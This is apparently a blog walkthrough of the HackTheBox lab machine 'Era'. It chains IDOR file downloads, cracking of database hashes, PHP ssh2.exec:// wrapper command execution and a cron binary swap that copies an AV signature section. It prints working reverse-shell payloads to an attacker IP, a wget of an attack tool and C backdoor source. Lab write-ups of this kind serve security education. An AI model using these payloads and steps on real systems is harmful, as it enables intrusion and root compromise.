Skip to main content

Command Palette

Search for a command to run...

HackTheBox: Era - Full Writeup

Published
6 min read
C
Offensive security researcher, CTF competitor, and educator. Founder of CTFSecurity — delivering professional penetration testing and free security education for the community.

Difficulty: Medium OS: Linux Category: Web, Privilege Escalation Author: r007sec


Overview

Era is a Linux machine that chains together several interesting vulnerabilities. The path to root involves IDOR-based file enumeration, SQLite credential extraction, PHP stream wrapper abuse for RCE via ssh2.exec://, and finally a cron-based binary replacement attack that bypasses a custom AV signature check.


Reconnaissance

Target IP: 10.10.11.79

Starting with a full service scan:

nmap -sV -sC 10.10.11.79 -oN era_scan

![](https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/eff5600f-fc76-4fe5-b3da-0a3b3a29af16.png align="middle")

The scan reveals two open ports: 21 (FTP) and 80 (HTTP).


Web Enumeration

The web application is a standard file hosting panel. Before diving into the UI, we run a virtual host enumeration to look for hidden subdomains:

gobuster vhost -u http://era.htb -w /usr/share/wordlists/dirb/common.txt --append-domain -t 100 --timeout 5s

![](https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/cc4854f5-0470-4e25-8421-9d7affdd0cb2.png align="middle")

This reveals file.era.htb. Add it to /etc/hosts and navigate to it. The subdomain hosts a separate file management interface.

Next, fuzz for hidden endpoints on the subdomain:

dirsearch -u file.era.htb

![](https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/858f074d-6360-49c9-a3a0-4aa582fc0cd3.png align="middle")

Found: /register.php


Getting a Foothold

User Registration and File Upload

Register an account at /register.php using any credentials. After logging in, the application allows file uploads. Upload a PHP reverse shell and note the session cookie:

![](https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/c4abdf76-2c1e-4ea7-8e4c-83ae7e4e02d5.png align="middle")

PHPSESSID=8j7lgjsukj2fnlsq0beevmf9v0

IDOR via Sequential ID Fuzzing

The download endpoint uses a numeric id parameter with no authorization check. Generate a sequence and fuzz it:

seq 1 8000 > id.txt

ffuf -u 'http://file.era.htb/download.php?id=FUZZ' \
  -w id.txt \
  -H 'Cookie: PHPSESSID=8j7lgjsukj2fnlsq0beevmf9v0' \
  -fw 3161

![](https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/4645ad1e-ec6d-4ad1-bb23-013a9040c2d9.png align="middle")

Three interesting responses come back at IDs 54, 150, and 1956:

  • 54 is a site backup archive: site-backup-30-08-24.zip

  • 150 is signing.zip

  • 1956 is our uploaded reverse shell


Credential Extraction from SQLite

Download and extract the backup:

![](https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/c378fc43-6a1a-4df2-96ec-c1d766e6c7d0.png align="middle")

unzip site-backup-30-08-24.zip

Inside is a SQLite database file. Open it and extract credentials:

sqlite3 filedb.sqlite
.tables
.schema users
SELECT user_name || ':' || user_password FROM users;

This gives us bcrypt hashes for several users:

![](https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/a571c6c4-3c0e-4785-a726-bf4591b68ad8.png align="middle")

admin_ef01cab31aa:\(2y\)10$wDbohsUaezf74d3sMNRPi...
eric:\(2y\)10$S9EOSDqF1RzNUvyVj7OtJ...
veronica:\(2y\)10$xQmS7JL8UT4B3jAYK7js...
yuri:\(2b\)12$HkRKUdjjOdf2WuTXovkH...
john:\(2a\)10$iccCEz6.5.W2p7CSBOr3...
ethan:\(2a\)10$PkV/LAd07ftxVzBHhrpg...

Crack with John:

![](https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/a37c6058-a002-4ada-834d-a9dfb23bc787.png align="middle")

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Results:

eric:america
yuri:mustang

FTP Access as Yuri

ftp yuri@era.htb
# password: mustang

Navigate the FTP directory and look inside php8.1_conf. You will find ssh2.so present, which is the compiled PHP SSH2 extension. This is a critical finding that we will exploit shortly.


PHP Stream Wrapper RCE (ssh2.exec://)

Vulnerability Analysis

Review the source code from the backup. The download.php file contains this logic:

\(format = isset(\)_GET['format']) ? $_GET['format'] : '';

if (strpos($format, '://') !== false) {
    \(wrapper = \)format;
    header('Content-Type: application/octet-stream');
} else {
    $wrapper = '';
    header('Content-Type: text/html');
}

\(file_content = fopen(\)wrapper ? \(wrapper . \)file : $file, 'r');

The problem: The code checks only whether :// exists in the format parameter. It never validates which wrapper is being used. With ssh2.so loaded, the following wrappers are all available:

ssh2.shell://user:pass@host:22/xterm
ssh2.exec://user:pass@host:22/command
ssh2.sftp://user:pass@host:22/path

Since eric:america is a valid local account, we can use ssh2.exec:// to execute arbitrary commands as the web server process.

Security Questions Bypass

The application has a security_login.php page that compares security answers stored as plaintext in the database. Query them directly:

if (
    \(answer1 === \)user_data['security_answer1'] &&
    \(answer2 === \)user_data['security_answer2'] &&
    \(answer3 === \)user_data['security_answer3']
) {
SELECT user_name, security_answer1, security_answer2, security_answer3 FROM users;

Use reset.php to reset Eric's security answers if needed, then authenticate through the security login to obtain erauser = 1 session privilege, which is required for the show=true code path.

Triggering the Reverse Shell

Set up a listener:

nc -lvnp 4444

Send the payload. The ; cat at the end absorbs any trailing output the application appends to the stream:

http://file.era.htb/download.php?id=1956&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27%28bash%20-i%20%3E%26/dev/tcp/10.10.14.174/4444%200%3E%261%29%3B%20cat%27

![](https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/7bbc29cb-adfa-4b95-b64f-446bd25a1704.png align="middle")

Shell received. We are inside as eric.


Privilege Escalation to Root

Process Monitoring with pspy64

Transfer pspy64 to the target and run it to watch for scheduled tasks:

wget http://10.10.14.174:8000/pspy64
chmod +x pspy64
./pspy64 &

After watching for a minute, a pattern emerges: root executes /opt/AV/periodic-checks/monitor every minute via /root/initiate_monitoring.sh.

Check permissions on the binary:

find / -user root -group devs -type f 2>/dev/null

The monitor binary is owned by root but group-writable by the devs group, which our current user belongs to. This is a textbook cron-based privilege escalation.

Bypassing the AV Signature Check

The binary contains a non-standard ELF section called .text_sig, which is a custom integrity signature. If the section is missing from a replacement binary, the AV wrapper will refuse to execute it.

The solution is to extract the signature from the legitimate binary and inject it into our backdoor:

Step 1: Write the backdoor source

echo '#include <stdlib.h>
int main() {
    system("/bin/bash -c '\''bash -i >& /dev/tcp/10.10.14.174/8596 0>&1'\''");
    return 0;
}' > /tmp/backdoor.c

Step 2: Compile statically

gcc -static -o /tmp/monitor_backdoor /tmp/backdoor.c

Step 3: Extract the original signature

objcopy --dump-section .text_sig=/tmp/sig /opt/AV/periodic-checks/monitor

Step 4: Inject the signature into the backdoor

objcopy --add-section .text_sig=/tmp/sig /tmp/monitor_backdoor

Step 5: Open a second listener

nc -lvnp 8596

Step 6: Replace the monitor binary

cp /tmp/monitor_backdoor /opt/AV/periodic-checks/monitor

![](https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/f4542d48-ee1b-467b-b2b4-6ff1ecbba7bd.png align="middle")

Wait up to one minute. The cron job fires, executes your binary as root, and the reverse shell connects back.

Root obtained.


Key Takeaways

IDOR on download endpoint — Sequential numeric IDs with no authorization check exposed every file on the platform, including a database backup that contained all user credentials.

PHP stream wrapper injection — Validating for :// without whitelisting specific wrappers is not a security control. With ssh2.so loaded, an attacker can execute arbitrary commands via the ssh2.exec:// wrapper without touching the filesystem.

Plaintext security answers — Security questions that bypass password authentication are only as secure as their storage. Plaintext storage in a database that is already exposed via IDOR is a complete authentication bypass.

Cron binary replacement — A cron job running as root that executes a group-writable binary is a direct path to privilege escalation. The AV signature check was a clever defense, but objcopy allows extraction and reuse of the signature section, making it ineffective against a local attacker with write access.


Written by r007sec | CTFSecurity YouTube | Discord | blog.ctfsecurity.com